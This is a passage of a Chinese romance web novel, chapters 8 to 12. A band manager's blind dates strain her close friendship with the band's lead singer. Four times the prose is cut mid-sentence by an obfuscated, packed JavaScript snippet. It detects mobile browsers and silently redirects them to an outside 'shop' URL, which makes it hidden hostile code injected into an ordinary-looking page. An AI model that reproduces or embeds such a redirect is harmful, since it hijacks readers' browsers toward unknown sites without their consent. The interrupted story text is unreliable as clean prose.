“当然,他们很厉害。” “那你负责的是什么乐队?”男人问。 “你可能没听过……” “说说嘛,万一呢。” 江绪春犹豫了一下,还是照实道:“陆鲨。” “哦,就是主唱是娘炮的那个啊。” 男人完全下意识脱口而出,见她表情一冷,忙找补道:“我不是针对你啊,你知道的,网上都这么说的嘛……” “嗯。”江绪春垂下眼不想看他,拿起咖啡杯猛灌好几口,想早喝完早解脱。 陆鲨是签约公司后才爆火的,在这之前的最好成绩,也不过是去些音乐节凑数。 签约公司后,公司大肆营销段则的外貌,一年内乐队和段则微博涨粉数百万,第三年直接开上了体育馆。 这个世界上帅哥很多,因为外貌而爆火的也很多,但如果没有后续营销,大部分不过是昙花一现。 段则这朵昙花,在之前因为种种原因已经现了很多次,直到公司营销团队的加入,直接给他变成了永生花。 偏偏不管营销词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202903|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多夸张多羞耻,他的脸都得顶得住,众人会吐槽总在热搜刷到他,但没人会说他不好看。 可是…… 他是个搞音乐的,不是卖脸蛋的。 由于公司的营销策略,陆鲨的歌迷性别比极其不平衡,线下近八成都是女歌迷。不少摇滚婆罗门对陆鲨极其排斥,认为它扰乱了国内摇滚乐的生态,吸引来一群不懂音乐只看脸的女人,令摇滚乐饭圈化等等。 去年,陆鲨甚至登上了某男性为主的app的“最讨厌乐队”榜首,一度受到不少死亡威胁。 他们的恶意来得是那么汹涌又莫名,花瓶、爱豆、娘炮这类词儿算是好听的了,更多不堪入目甚至匪夷所思的自造词层出不穷。在诋毁和造谣这方面,他们有着旺盛的创造力。 江绪春曾看他浏览某app关于陆鲨的评论,他的表情很平静,因而江绪春开始也没太在意,只是路过时随意瞥了一眼,便望见了满屏脏字儿。 她不由分说,一把夺过段则的手机,直截了当卸载了那个app。 段则没说话,只抬眼看向她。 “一个人出于嫉妒,什么话什么事都是干得出来的。”江绪春将手机还给他,“没必要在意这些风言风语。” “我没有在意。”段则笑笑,接过手机熄屏放进口袋,“我在汲取灵感。” 是的,面对很多事,段则都会说他在汲取灵感。 但很多事江绪春没看他在歌里写过,也可能写了她没看懂。 江绪春盯着他看了一会儿,上前给了他一个拥抱。 彼此安静地抱了一分钟后,江绪春正准备起身离开,段则不由分说又给她按了回去。 “怎么了?”江绪春问。 “烦。”他的声音因低沉有些泛哑。 江绪春徒劳地摸摸他的背,聊表安慰。 那个下午,两人就这样安静地抱了十分钟。 谁也没再说话,江绪春能听见他逐渐变得平稳的呼吸声,感受他起伏的胸腔,嗅到他皮肤上似有若无的柠檬橙花味儿。 段则有整整一玻璃柜的香水,按照当日心情穿不同的香。 大部分时候,他的穿搭打扮都是一种利他性的展示。唯有香水这东西,他用得很自我。 江绪春很喜欢用他穿的香水,来推测他的心情,这是一项只有她自己知道的小游戏。 心情好的时候,他最常用的是一瓶薄荷西瓜味儿的香水,冰凉又清爽,就是冬天闻到会忍不住一激灵。 因为没有灵感而焦躁不安时,他会用烟熏雪松味儿让自己沉静下来,江绪春刚开始闻到时,还忍不住捏着鼻子问他是不是偷偷抽烟了。 至于心情不好时,就需要柠檬橙花之类的安神香来治愈一下自己。 江绪春忽而想起那天早上,当她再次去找段则提离职时,他的身上就弥散着一股淡淡的柠檬橙花味儿。 只是那时候她太自我,完全想着自己的事,都忘了这条小小的线索。 那时候的他,在烦恼些什么呢? 9. 第 9 章 相亲毫无疑问失败了。 母亲问她原因时,她没说男人说的那句话,只说没有眼缘。 “诶哟,你当是谈恋爱呐,还看什么眼缘。” 刘蓉一语道破婚姻真谛,末了好像觉得这么说不太合适,欲盖弥彰地干笑两声。 江绪春没忍住也笑了,她觉得母亲偶尔的坦诚很有趣。 “那你和我爸有没有眼缘?”她问。 “我和你爸是自由恋爱,我俩十八岁就在一起了,那能一样么?” 江绪春不服气地“哼”了一声。 “谁让你上大学时不抓紧找一个?”刘蓉满脸遗憾,“唉,要是小段喜欢女的就好了,你俩说不定能成,彼此知根知底,多好。” 江绪春一时心虚,端起桌上洗净切好的果盘回卧室独吞。 情窦初开后的男男女女还在一起玩,难免被传闲话。 刚上高一的江绪春反复和母亲解释他们只是普通朋友,偏偏对方根本不信。 不信就罢,还三番五次想要拆散他俩,觉得她的学习退步都赖段则。 可事实上,她只是因为上了高中后不太能跟上。 在学习这方面,她天赋平平,胜在足够认真。只是高中的知识,好像不是认真就能应付得了的。 成绩退步就够让人沮丧的了,如果还要失去一个好朋友,彼时青春期敏感的江绪春,真恨不得一头扎进学校的人工湖里。 最后,她想了一个馊主意——也可能没那么馊——谎称段则是同性恋。 父母其实都是很传统的人,如果江绪春说自己是同性恋,保准当晚就被打断腿,还得被灌下十袋中药试图扭转性向。 但如果是别人的孩子,为了自己的良好形象,他们就会表现得无比包容,反正有辱门楣的又不是他们家。 这个乍听很荒谬的谎言,居然就这么延续了十年有余。 江绪春还贴心嘱托过老两口,说段家对这件事很敏感,千万不要在段则和他妈面前提起这件事。 神奇的是,段则本人莫名其妙也维持住了这个人设,一个女生都没谈过。 很长一段时间,江绪春甚至怀疑过,自己当初说的有没有可能不是谎言。 有一年,乐队里的其他三个人都脱单了,歌迷们开玩笑说“三缺一”,江绪春便顺势旁敲侧击,问他怎么不加入他们。 “工作忙。”段则正忙着给吉他换弦,随口道。 “那……你喜欢什么样的女生?” 江绪春刻意将“女生”两个字咬得比较重,用余光观察着他。 段则神色如常,抬头思考了几秒,转了下手里的钳子:“有眼缘的吧。” ……这神奇的眼缘。 “那你呢,你怎么没谈?”没等到回复,段则忽地将话题转移给她。 “你忙我也忙啊。”江绪春现学现用。 “那真是抱歉了。”段则闻言笑笑,低头继续拧弦。 - 虽然对于痛失电网金龟婿这件事,刘蓉非常的痛心,但民主社会,她决定还是尊重女儿的意愿。 尊重的结果,就是第二天她不知上哪又变出了两个男人。 “看看,哪个比较有眼缘?”刘蓉点开两张照片。 江绪春很想说都没有,不过为了不挨一个爆栗,她还是随便点了一个。 “其实另一个条件更好一点……”刘蓉深吸一口气,像是下了莫大的决心,“行,妈妈尊重你的选择!” 翌日下午,江绪春坐在梳妆镜前开始鼓捣自己的脸。 台前的人有多光鲜亮丽,幕后的人往往就有多憔悴。 时刻在路上跑来跑去,作息不规律,江绪春已经很久没给自己化过全妆了,有时间只想睡觉。 太久不化妆,她的手艺稍显生疏。前天见电网男时,她就对自己好几个地方化得不够满意,打算今天好好纠正一遍。 想来就她这个水平,早年间居然还给陆鲨当过化妆师。 毕竟那时候,经费拮据到了入不敷出的地步,江绪春名义上只是助理,实则几乎项项全能。 好在给男人化妆很简单,大面积遮瑕过后,用粉底均匀一下肤色,然后一定要用无敌控油的定妆。 至于那些花花绿绿的彩妆,倒是不怎么用得上。 但那只是给另三个人化妆的步骤。 他们追寻所谓男子气概,要不是江绪春要求,他们有时候连脸都懒得洗,灯光一打整个人油光满面,让她直扶额。 而段则是她最好的模特。 那时候她对化妆还很有热情,喜欢鼓捣各式各样的妆容,可她天然只适合些白开水的妆,越素越漂亮,色彩一旦浓重起来,反而会很奇怪。 好在段则接住了她的创作热情。 天生一副上好的皮相和骨相,素颜就很招人,上妆也不在话下。 江绪春喜欢按照陆鲨每次演出的歌曲风格,为他设计不同的妆容。彰显态度的烟熏,破碎又坚忍的战损,偶尔她突然冒出点小巧思,挑了些颇为粉嫩的色彩,段则也消化得很好。 给人化妆其实是件很亲密的事。 尤其是处理一些细节部分,彼此近到能感受到对方的鼻息。 那次,段则刚洗完脸,脸上还带着微微的湿意,江绪春手拿修眉刀,准备帮他修去一些杂毛。 他的眉毛天生浓密,形状漂亮,江绪春要做的就是“吹毛求疵”,找出那么几根不和谐的存在。 江绪春捧着他的脸,想从整体先观察一遍,段则就那么微微昂头,用上目线乖巧地看着她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202904|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 睫毛上还挂着水珠,衬得整个眼睛都水汪汪的。有人评价他的目光天生带着冷意,或许因为大多数人只能仰视或平视他,而当视角变作俯视时,那双眼其实无辜得要命。 江绪春试着不去看他的眼睛,目光流转过线条明晰高挺的鼻梁,唇珠饱满的双唇,最后泄气地一松手,整个人突然颓丧下来。 “怎么了?”段则不解道。 “你怎么长这么好看。” 江绪春的语气里没有称赞,有的只是真情实感的不满。 她真的很生气,气老天怎么这么不公平,同样都是人,为什么有的人就可以长这么好看。 好看到她看了这么多年,还是时不时被帅得一激灵。 她的愠怒来得莫名又奇怪,段则没去追问,似笑非笑道:“不好看怎么赚钱给你?” “你又不是为了赚钱给我才长这样的。”江绪春开始蛮不讲理。 “你就说挣没挣到吧。” “也没多少钱啊。” “辛苦你了。”段则双手搭上她的肩,轻轻晃了两下,“那我以后再努努力,好不好?” 没人能对着这张好看的脸说“不好”,江绪春也是。 而段则兑现了他的承诺,真的靠这张脸挣到了很多很多钱。 只是她也不知道,这是不是他真的想要的。 眼一眨,镜中变回了那张平凡的脸。 虽然她高中长开后,常被各个大爷大娘说“这姑娘生得真俊”,但和段则一对比,就觉得这都是些客套话。 一番描画后,这张脸变得明艳了几分。 江绪春拿起加热好的卷发棒,准备简单卷个造型时,手机响了。 来电的是段则,她点开外放,开始专心致志卷头发。 “小鸭,你忙么?”那头开门见山。 “还好。”江绪春说,“怎么了?” “晚上要不要去‘陈家饭屋’吃饭?我刚刚路过,突然特别馋。” “陈家饭屋”是两人高中附近的一家小餐厅,主打平价实惠。口味算不上多惊艳,但算是二中学生们的回忆。 两人有时候不想在食堂吃饭,就会来这家。他们最常坐的是二楼角落靠窗的一个位置,在这里见证过二中的学生表白、吵架、斗殴,也听过很多炸裂的八卦。 如此种种,都是青春。 “你回兴榕了?”江绪春捕捉到重点。 “嗯,下午刚到。” “今晚可能不行。” “为什么?” “我要去相亲。” 那头沉默了半晌:“这就是你回老家的真正目的?” 段则的揣测让她有点不爽,她故意道:“嗯,怎么了?” “没怎么,那我祝你失败。” 10. 第 10 章 江绪春上一秒还在镜中欣赏着自己,觉得自己今天的妆容和发型都非常完美,下一秒听了他的话,气不打一处来。 “你什么意思?”她不满道。 “没什么。”段则说完,很没有礼貌地挂断了电话。 江绪春坐在梳妆镜前,默默生了一分钟闷气,越想越气不过,干脆打了回去。 那头接了,语气很无辜:“喂?” 江绪春劈头盖脸就是一句:“你凭什么祝我失败?” 一阵沉默后,段则道:“好,祝你成功。” “你的语气一点也不真诚。” “……”她能听见对面深吸一口气,“那就祝江女士旗开得胜,一举拿下,步入美好婚姻殿堂,我一定会给你准备一份厚厚的礼金。” 江绪春依然不爽:“你阴阳我。” “那怎么着你才满意?你给我个台词,我照着念好不好?” “不好。” “我给你登门道歉行不行?” “行。” 江绪春顺口说完,愣了一下。 对面也愣了几秒:“好,我现在就来。” 江绪春慌忙看了眼时间:“不行,来不及了,我要出门了。” “你让他等着,我已经在路上了。” “不行,我才不要。” “那你告诉我你们去哪相亲,我当他面给你道歉。” “……你有病吧段则。” “不是你嫌我不够诚心么?” “我不要你道歉了。”江绪春抓起手机往外走,“晚上再聊吧。” “好,祝你失败。” “段则!!!” 江绪春气愤的高喊刚说一半,就被“滴滴滴”的提示音打断了。 她站在原地整整思考了两分钟,才压制住自己真的让他马上登门道歉的冲动。 今天见的对象没有前一位那么“显赫”的家世,但高低也是个公务员,家长们最爱的职业。 尽管是个还需要家里接济的底层岗,胜在未来可期。 他长得比电网男要儒雅些,一举一动很绅士,笑起来眉眼弯弯很是亲切。 两人相谈甚欢,到最后,江绪春甚至向他请教起考公经验。 对方很大方,知无不言言无不尽,还答应回家后整理一份资料包给她。 一切都很顺利,男人贴心地将她送回家,临别时,两人约好了周末一起去看电影。 刚走进楼道,江绪春就迫不及待给段则打了通电话炫耀。 “你的诅咒失效了哦,我成功了呢。” “是么,婚期哪天?” “倒也没那么快……” “哦,我还以为你们下午就去领证了。”段则说,“证还没拿到手,算什么成功?” “你这人说话怎么这么讨厌啊。” 和段则一比,刚刚那个男人真是贴心又温柔。 “只是我们对成功的定义出了点偏差。” “算了,不和你胡扯了。”江绪春摸出钥匙开门,“我要和他聊天了,拜拜。” 连着被他挂了两通电话,这次江绪春眼疾手快,先一步按下挂断键。 挂断别人的电话果然很爽。 江绪春哼着小曲儿,心情愉悦地准备卸妆,换衣、卸妆、面膜、护肤,一套流程下来再看手机,来了好几条消息。 男人遵守承诺,发了个压缩包给她。 下载间隙,她去看了眼段则发来的消息。 第一条来自她挂断电话的五分钟后。 [段则:和他聊什么呢?] 过了五分钟。 [段则:聊这么开心?] 又过了十分钟。 [段则:公司那边有个文件需要你交一下。] [段则:提醒一下,你目前尚处于在职状态。] 一刻钟后。 [段则:你聊吧,我已经帮你交了。] 江绪春这才想起来,陆鲨下下个月有个商场站台宣传活动,这是休假前就定好的,其中一些细节方面需要她和主办敲定好。 [江绪春:不好意思,我刚刚在卸妆。] [江绪春:麻烦你了,下次有急事你直接打电话给我就好。] 那头很快回复。 [段则:可不敢打扰你聊天。] [段则:合着见我就不需要化妆。] [江绪春:我们天天见面,难道还要我天天化妆?] [段则:这不是好几天没见了么?] 这人怎么句句都在抬杠。 [江绪春:你今天怎么了?] 过了好几分钟,屏幕上才弹出一条消息。 [段则:我先睡了,晚安。] 江绪春盯着对话框看了半分钟,没有回复,切出去开始感谢男人的慷慨分享。 两人简单聊了几句,可能是隔着屏幕,看不到脸也听不到语气,对话显得有些干巴巴。他显然也感受到了,没聊几句便互道晚安。 刚刚明明还很愉快的心情,这会儿突然低落起来。 江绪春退出和男人的对话框,机械地划动着手机,最终没忍住又戳进了和段则的对话框。 她盯着最后那句“晚安”,手指在键盘上放了又悬。 良久,江绪春轻叹一口气,正准备退出去时,忽地睁大了眼—— 顶上现出一行“对方正在输入……”。 她的心开始不受控制地跳得很快。 和段则相识数年,聊过的天怕是有百万字,她不知道自己此刻在不安激动些什么。 那头输入了多久,她就盯着看了多久。 足够打一篇小作文的时间,得到的却只有三个字。 [段则:睡了么?] 屋内很静,江绪春清晰听见自己咽下口水的声音。 [江绪春:没有。] 一通电话就在下一秒打来。 段则的声音因着疲惫而泛哑,带了点慵懒劲儿,就是开口的话听得人直皱眉:“没打扰你和他聊天吧?” 江绪春不想和他继续无聊的抬杠游戏:“没有,我们没在聊了。” “怎么不聊了?” “没什么话说。” 她太坦诚,好像迫使段则良心发现,没再说些讨厌的话。 段则:“那我有话和你说。” 江绪春将一只枕头抱在怀里,换了个舒服的姿势,应道:“嗯,你说吧,我听着呢。” 那头沉默了十余秒才开口,声音透过电磁波沙沙的,像有把小刷子在搔她的耳朵。 “我今天挺忙的,先把小狗送去寄养,又去录了个demo,把家里大扫除了一番,才去机场赶飞机。” 江绪春“嗯”了一声。 段则继续道:“一到家和我妈闲聊了几句,其实气氛还行,没吵架,但你知道的,我之前和你说过,我不知道为什么,和她有点相处不来。” 段则是和她说过,由于他自己不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202905|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个中原因,所以江绪春也只能知其然不知其所以然。 她张了张口,欲言又止,打算把话语权都交给他。 段则:“所以我今天,心情不是太好。” “听出来了。” 从第一通电话就听出来了。 “你知道我为什么祝你失败吗?” 果然再听到这话还是很不爽,江绪春捺下脾气:“为什么?” “因为我想到了很多朋友,很多从前玩得很好的朋友,明明之前哪怕身处异地,每年也要约着见上好几面,但他们结婚后,我们一年都不一定能见一面。” 闻言,江绪春也想到了很多朋友。 到这个年纪,身边像她这样未婚未育的反而成少数了。 就像段则说的那样,他们的重心逐渐转移到家庭,和她的关系随着共同话题一同减少。 “我不想失去你。”段则顿了顿,“你是我最好的朋友。” 江绪春将头埋进枕头里,没说话,听着听筒内外彼此错频的呼吸声。 “但我刚刚冷静了一段时间。”段则说,“我不应该因为心情不好就迁怒你,所以小鸭,对不起,我和你道歉。” 段则这个人就是这样,有时候很浑,但关键时刻又很认真。 他能口无遮拦地给江绪春气到不行,事后也会无比诚恳地给她道歉。 这大概也是江绪春愿意和他做这么多年朋友的原因。 “没关系。”她蜷缩在床上,声音也变得黏糊糊的,“我没再生气啦。” “那你答应我一件事。” “什么事?” “等你结婚了,我们能不能继续当朋友?” “当然可以啊。” 她应得爽快,却听见那头长长地叹出一口气。 “他们结婚前也是那么说的。”段则轻笑两声,“算了,我还是个男的,回头容易让你对象误会。” “什么叫‘算了’,难道我结婚了,你就不愿意和我做朋友了?” “这不是我愿不愿意的事,这是到时候自然而然会发生的事。” 江绪春心头蓦地一阵酸涩。 她突然一点也不憧憬婚姻了。 她还想和段则做朋友,还想当他每首歌的第一个听众,还想和他满大街漫无目的地遛弯,还想摸他毛茸茸的头发,还想把自己化身成一只大型枕头,让他想枕哪里枕哪里。 “段则。”千言万语,只能化成他的名字。 “嗯。”他语气带笑,耐心等了一会儿,见她没有下文,又道,“我发现,你现在好像只叫我大名了。” “不然叫你什么?” “叫我……”段则欲言又止。 江绪春在床上翻了个身,逐渐想起了很多。 从前的她会随情境和心情变化,喊他王八蛋、狗东西、十三点、二百五、装x怪、墨镜男……反正都不是什么好词儿。 不知从什么时候开始,她只喊他段则了。 就像他不知道为什么和母亲相处不来,她也不知道为什么自己改变了对他的称呼。 有意无意间,她似乎决定开始和他保持一些距离。 “因为我想要变得文明一点。”江绪春找了个冠冕堂皇的借口。 这借口烂到段则都一秒听出来了,他笑了笑:“小鸭。” 她改变了,他没有,还坚持用着那个从幼时至今的昵称。 “嗯?” “无论如何,我希望你能幸福。” 11. 第 11 章 虽然段则的诅咒变成了祝福,但江绪春的幸福好像还是没能降临。 两天后,她和公考男如约一同去看电影。 两人看的是部喜剧片,比想象中要好笑许多,只是好几次当她捧腹后转头,对上的是这么一张脸时,快乐好像突然被减淡许多。 他不难看,五官很端正,只是两人之间,好像就欠缺了那么一点眼缘。 那天不该和母亲提起这个词的,惹得她后面都快被此洗脑。这个没眼缘,那个没眼缘,那如果看谁都没眼缘,难道就不结婚了吗? 这个想法冒出来的第一瞬,江绪春小小地动摇了一下。 但如果她追求一份自由的生活,她就不该回来;如果她选择回来,就必须要遵循小城市的生活法则。 世上哪有两全的好事。 看完电影,两人约着一起在商场内吃饭。 走出电影院时,江绪春忽觉肩被人一搂,下意识倒向一边。 待她惊魂未定地站定,才看见不知从哪冒出一个小男孩,就这么擦着她的腿跑远。 “没事吧?”危机解除,公考男第一时间放开了她的肩膀。 彼此四目相接,她礼貌微笑:“没事。” 他很绅士,江绪春想,可以给他加上一分。 也许累积到一定分数,所谓眼不眼缘就已经不重要了。 两人一层层乘扶梯向上去美食层,公考男在和她聊刚刚的电影,聊剧情走向,人物情感动机,江绪春没好意思说,她只记住了一个个笑点。 她吃力应付着,面前突然飘过一个熟脸。 段则正戴着一顶冷帽,尽心尽责藏好他懒得拉直的小卷毛,手里拎着某连锁商超的编织袋,看来刚采购完毕。 “哟。”段则先开了口,目光玩味地扫了眼两人,“真巧。” 公考男面上保持着得体的微笑,快速打量了他一番:“他是……?” 目光是朝着段则的,话语却是朝着江绪春。 “我朋友。”语毕,江绪春看向段则,“我的相亲对象。” 两个男人目光再次碰撞,嘴都是笑着的,眼神里却读不出太多友好。 江绪春讨厌这种尴尬场面,主动打破僵局道:“那,我就和他先去吃饭啦。” 这话是对着段则说的,公考男脸上的笑容却盛了一层。 “行。”段则爽快地一抬手,“拜拜。” 彼此肩膀相错,各奔东西。 踏上新一层扶梯时,江绪春没忍住回头望了一眼。 撞上了段则同样回望的眼。 扶梯在上升,段则的脸在视野里越缩越小,他没太多表情,只是很平静地回头望向他,随着她的上升一点点抬起头。 手腕忽而被人一把扣住。 江绪春猝然回看,公考男用力拽了她一下,她踉跄着走出扶梯。 “下次一个人坐扶梯不要乱看,很危险的。”公考男语气温柔地提醒道。 “那和你在一起可以乱看吗?”她不知道自己为什么接了这一句。 公考男神色稍怔,少顷后道:“可以,我会努力保护好你。” 他给人很有安全感,江绪春决定给他再加一分。 只是她也不知道,要加到几分,才足够抵消眼缘这种玄而又玄的东西呢。 两人一起吃了顿火锅,在不熟悉彼此口味的时候,这个选择是最不会出错的。 店里没开空调,热气熏得两个人脸颊都红扑扑的,公考男主动担起了涮菜的任务,每次菜烫熟了,他都第一个夹给她。 江绪春笑盈盈地说“谢谢”,下一秒就看他用同一双筷子,给自己也夹了一块肉,在碗里蘸了蘸后,大口放进嘴里。 怎么不用公筷呢,江绪春决定给他扣一分。 她做了会儿心理建设,刚夹起一筷子肉准备吃,耳边忽而传来细碎的咂巴嘴的声音。 江绪春抬头看向他,确认了声音的来源。 “好吃吗?”公考男毫无察觉,微笑问她。 江绪春一边点点头,一边在心底又扣了一分。 好不容易积攒来的两分,当天就归了零,这要到什么时候才是个头。 一餐饭毕,两人走出商场。 被夜半的冷风一吹,江绪春的头脑蓦地清明了些,也决绝了些。 不管是浪费自己还是对方的时间,都很可耻。 她婉拒了对方送她回家的提议,接着道:“我想了想,感觉我们好像还是不太合适。” 空气霎时被凝滞。 “为什么?”公考男难以置信地问。 江绪春决定实话实说:“可能还是差一点眼缘。” 公考男半张着嘴,打量了她好一会儿:“你不会是来骗考公资料的吧?” “……” 那资料已经是三年前的了,且都是网上可以免费获取的,现在要是发上网分享,怕是都会被人嫌过时。 但到底是人家的心意,江绪春收到时还是很感谢的,现在却只觉得荒谬。 两人不欢而散,江绪春胃是涨的,心口是堵的,浑身上下的气儿都不顺。 段则突如其来的一条消息,就这么撞上了她的枪口。 [段则:我前两天帮你交的那份材料,被对方打回来了,有些细节方面我不太了解,你看有时间能不能处理一下。] 江绪春飞速敲打着键盘,还嫌不够快,干脆发了条语音过去。 “不是说好了休假吗,为什么还有工作,这就是你不肯让我辞职的原因吗?还有,我又没让你帮我填,改东西比从头做还麻烦,真烦。” 气鼓鼓地发泄一通,江绪春的怒火好像就此熄灭了些。 她深吸一口气,正准备调整心情开始工作时,段则的消息又弹了出来。 [段则:不用你改了,我自己研究一下和他们对接吧。] [段则:你心情不好吗,小鸭。] 隔着屏幕,江绪春都能想象出他的语气和神情。 她是一个很容易把情绪写在脸上,可又不爱开口去说的人。 于是有时候,段则会入定般盯着她看一会儿,然后问她心情如何。 开心时不必多说,需要说的自是些不开心的时刻。 观察人的时候,他会不自觉歪着脸,目光因思考微微涣散,全无平日的锐利冷漠。 接收到负面信号后,他的眉心也会蹙起一点,不解又担忧地问她是不是不开心,声音有点儿黏糊糊的。 大部分时候,江绪春的不开心其实和他无关。 被他这么无辜地问上一句,她总觉得自己是不是不小心迁怒到他了,出于歉疚,气不知不觉也消了。 真神奇,次数多了后,哪怕是隔着屏幕看到这句话,她的心情都会莫名其妙好上一点。 可她还是有那么点儿不爽,那么点儿不见面就无法缓解的不爽。 [江绪春:陪我出来喝酒。] 她命令他。 那头很爽快。 [段则:哪家。] [江绪春:你猜。] 发完这句话,江绪春就把手机放进口袋,走到最近的公交车站开始等公交。 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202906|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗外的景象不断后退,五站路后,她随着人流下车。 拐过一个巷口,尚未踏上路牙,江绪春下意识却步。 清吧门口,站着一个全副武装的男人。冲锋衣被拉到顶,遮住半张脸,棒球帽压得很低,双手插兜,浑身上下露出的唯一一点皮肤,不过是那一截高挺的鼻梁。 就算看不到脸,这般身高和身形,在兴榕这座小城都难寻第二个。 更何况,此刻这个男人突然对她比了个拇指向下的手势,微微昂头俯视她,露出小半截下巴和一张说着刻薄话的嘴。 “怎么这么慢,你是小鸭子还是小乌龟。” 想在他嘴里获得做人的资格太难了。 江绪春小跑上前,毫不犹豫地给他胸口来了一拳。 段则结结实实地挨下那一拳,顺势拉她手腕,胳膊一伸,比起揽,更像是把她夹在了臂弯里。 江绪春跌跌撞撞地被他带着往里走,冲锋衣的面料微凉,他的手又过分温暖。明明再多两厘米就能够到一米七的门槛,在他身边却总觉得自己是个小矮子。 “进去没找到你,还以为我猜错了。”段则边走边说,“后来我想不可能啊,我看你跟明镜似的。” “我下次肯定换一家。”江绪春不满道。 “城南那家?” 又被猜中的江绪春:“……好烦。” 两人去过兴榕很多大大小小的酒吧,而这是两人去过的第一家。 彼时刚刚高考结束,终于解放的江绪春觉得自己作为成年人,得做点成年人才能做的事。 她先去网吧待了两小时,不爱打游戏的她,被烟味熏得连电影都没看完就走了。 成年人还能做什么呢,江绪春想到了酒吧。 但她对这种地方有点犯怵,于是,她向段则发出了邀请。 段则比她还叛逆,一见面给她吓一跳,两只耳朵新打了八个耳洞,右眉也打了个洞,整个人亮闪闪的像只乌鸦。 “疼吗?”江绪春好奇。 “疼,但是帅。” 他一说话,嘴巴里也忽闪忽闪的,江绪春以为他给自己镶了颗金牙,掐着他脸颊往里一看,才发现是舌头上穿了个孔。 明明几天前,还和她一样规规矩矩穿着校服呢。 “阿姨不会骂你吗?”江绪春忍不住问。 “没,她只会嫌我耳洞位置打得不好,我在考虑要不要养起来重打。” “……”江绪春不知道自己该不该羡慕他家长的开明。 不过后来,他只保留了四个耳洞,一双在耳垂,一双在耳骨,剩下的洞都慢慢愈合了。 他喜欢尝试新东西,但大多也仅限于尝试。 某种意义上,他甚至算是一个守旧的人。 他最好的朋友只有两个,一个是江绪春,还有一个是某初中男同学,都是十几二十年的交情。 高中的斜挎包现在他偶尔还会背,已经从当年的时兴款变成了如今的千禧风;还有他的第一枚吉他拨片,从小学保留到了现在,被珍藏在展示柜的最上方;就连手机系统,每次他都姗姗来迟过了几代才更新。 他曾写过一首歌表达对旧物的迷恋,他说那是因为旧的让他安心。 “那你找对象也要找旧的吗?” 有歌迷在他歌曲下评论。 “那不行,和熟人在一起太奇怪了。”段则回复。 江绪春惯例每日休息刷社媒时,刷到了这条对话。 她面无表情地看完,划过,半晌又忍不住划回去,盯着看了半天。 嗯,确实很奇怪。 12. 第 12 章 那次,同样是初次去酒吧的段则,装出一副熟客的样子,带她进了这里。 江绪春对于酒吧所有的理解来自于影视剧,震耳欲聋的音乐,刺眼的爆闪灯,纵情声色的男男女女,总让她感到害怕又好奇。 而事实上那是夜店,段则带她来的则是清吧。 推门悠扬的音乐舒缓了她的紧张情绪,江绪春好奇地打量着,发现这里的人都很平和、悠闲,似乎只是为了喝一杯酒,聊一场天。 莫名的,她有些喜欢这里。 面对琳琅满目的酒单,江绪春又开始紧张。她将眼睛睁得圆溜溜,在清吧昏黄的灯光下,一行行向下扫视。 总算看到一个熟悉的,她松了口气:“我要一杯长岛冰茶。” 江绪春对这杯酒的了解来自于一句歌词,“拿来长岛冰茶换我半晚安睡”。 正是爱伤春悲秋的年纪,哪怕她没恋过爱,自然也无恋可失,但她仍沉迷听那些苦情歌,将自己代入其中黯然神伤。 段则则点了一杯螺丝起子,那时的他不听苦情歌,但喜欢看推理小说,有本小说里的侦探就爱喝这个,他想试试。 两人就这样有些随意地开启了自己的第一次酒吧之旅。 两杯酒很快呈上,端上桌时,冰块敲击杯壁叮咚作响,彼此的心跳也随之加速。 一口下去,彼此抬眼对视,皱眉摇头,动作默契得跟唱双簧似的。 “一股感冒糖浆味儿。”江绪春说。 “带酒味的橙汁。”段则说。 饱含调酒师心血的作品就这样被两人粗暴概括。 话虽如此,考虑到那并不便宜的价格,两人还是一滴不剩都喝完了。 其实喝到一半,江绪春已经开始晕乎乎,她感觉周身莫名燥热,神经开始兴奋,那时候她还不明白这是酒精的作用。 等到明白已经晚了,她起身一个趔趄,世界开始天旋地转,一条直路在脚下,身子偏不受控往旁边拐。 与之相比,段则的状态倒还好些,除了双颊一片绯红,神志尚且清明。 